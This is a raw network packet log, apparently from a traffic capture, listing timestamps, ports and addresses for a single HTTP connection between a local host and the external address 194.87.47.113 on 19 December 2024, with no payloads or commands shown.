Dec 19, 2024 08:00:58.163342953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.163440943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.163484097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.164196014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.164307117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.164359093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.165057898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.165102005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.165143967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.165896893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.165941954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.165982962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.166826963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.166901112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.166941881 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.167644024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.167741060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.167779922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.168477058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.168626070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.168675900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.169444084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.169498920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.169543982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.170244932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.170335054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.170381069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.171056986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.171149969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.171195984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.171901941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.171998978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.172045946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.172770023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.172913074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.172960043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.173616886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.173733950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.173791885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.174474001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.174592018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.174649954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.175344944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.175412893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.175483942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.176213026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.176335096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.176382065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.177058935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.177180052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.177226067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.177912951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.178006887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.178056955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.178818941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.178875923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.178924084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.179617882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.179735899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.179784060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.180519104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.180917978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.180970907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.181355953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.181610107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.181696892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.182173014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.182291985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.182332993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.183060884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.183170080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.183221102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.183901072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.184017897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.184062004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.184767008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.184844017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.184886932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.185622931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.185722113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.185766935 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.186456919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.186561108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.186603069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.187325001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.187414885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.187453985 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.188185930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.188276052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.188317060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.189048052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.189249992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.189295053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.189954042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.190022945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.190063953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.190758944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.190854073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.190895081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.191601992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.231210947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.282978058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.283014059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.283096075 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.283137083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.283232927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.283284903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.284009933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.284115076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.284157991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.284858942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.284944057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.284984112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.285706043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.285831928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.285871983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.286561966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.286678076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.286714077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.287561893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.287650108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.287693977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.288268089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.341886997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.344774961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.344880104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.344929934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.345217943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.345371962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.345419884 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.346283913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.346493959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.346560001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.347073078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.347130060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.347172976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.347743034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.347832918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.347881079 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.348606110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.348748922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.348807096 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.349453926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.349606037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.349687099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.350332022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.350446939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.350518942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.351280928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.351408958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.351470947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.352047920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.352154970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.352210045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.352890968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.353045940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.353091955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.353683949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.353781939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.353832960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.354561090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.354660034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.354705095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.355443954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.355493069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.355540037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.356297970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.356408119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.356578112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.357136011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.357330084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.357381105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.358042002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.358190060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.358241081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.359170914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.359185934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.359227896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.359709978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.359885931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.359941006 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.360549927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.360662937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.360707045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.361423969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.361526012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.361579895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.362277031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.362359047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.362411022 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.363126040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.363285065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.363332033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.363970041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.364043951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.364103079 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.364860058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.364957094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.365016937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.365710020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.365822077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.365880966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.366609097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.366719961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.366772890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.367424011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.367575884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.367625952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.368269920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.368385077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.368431091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.369199038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.369251966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.369301081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.370076895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.370130062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.370178938 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.370867014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.371036053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.371120930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.371700048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.371859074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.371918917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.372536898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.372657061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.372706890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.373394012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.373526096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.373620987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.374294996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.374394894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.374435902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.375154018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.375365019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.375444889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.375993013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.376075983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.376140118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.376861095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.377013922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.377058029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.377721071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.377805948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.377856970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.378577948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.378695965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.378742933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.379395008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.379487991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.379537106 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.380270958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.380372047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.380424023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.381112099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.381237030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.381288052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.381992102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.382092953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.382203102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.382818937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.382961988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.383013964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.383671045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.435712099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.479459047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.479475975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.479486942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.479501009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.479512930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.479526043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.479538918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.479551077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.479562044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.479568958 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.479578018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.479594946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.479619026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.479629040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.479635000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.479649067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.479665041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.479695082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.536978006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.537050962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.537111044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.537363052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.537484884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.537533998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.538220882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.538347960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.538393021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.539074898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.539336920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.539381981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.539963961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.540072918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.540116072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.540826082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.540864944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.540924072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.541651011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.541688919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.541768074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.542484999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.542618990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.542664051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.543467045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.543504000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.543548107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.544181108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.544285059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.544327021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.545033932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.545087099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.545124054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.545907021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.546039104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.546077967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.546781063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.546911955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.546947002 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.547625065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.547754049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.547792912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.548461914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.548585892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.548628092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.549319983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.549422026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.549463987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.550177097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.550278902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.550318003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.551042080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.551147938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.551186085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.551887989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.552016020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.552071095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.552735090 CET	80	49739	194.87.47.113	192.168.2.9
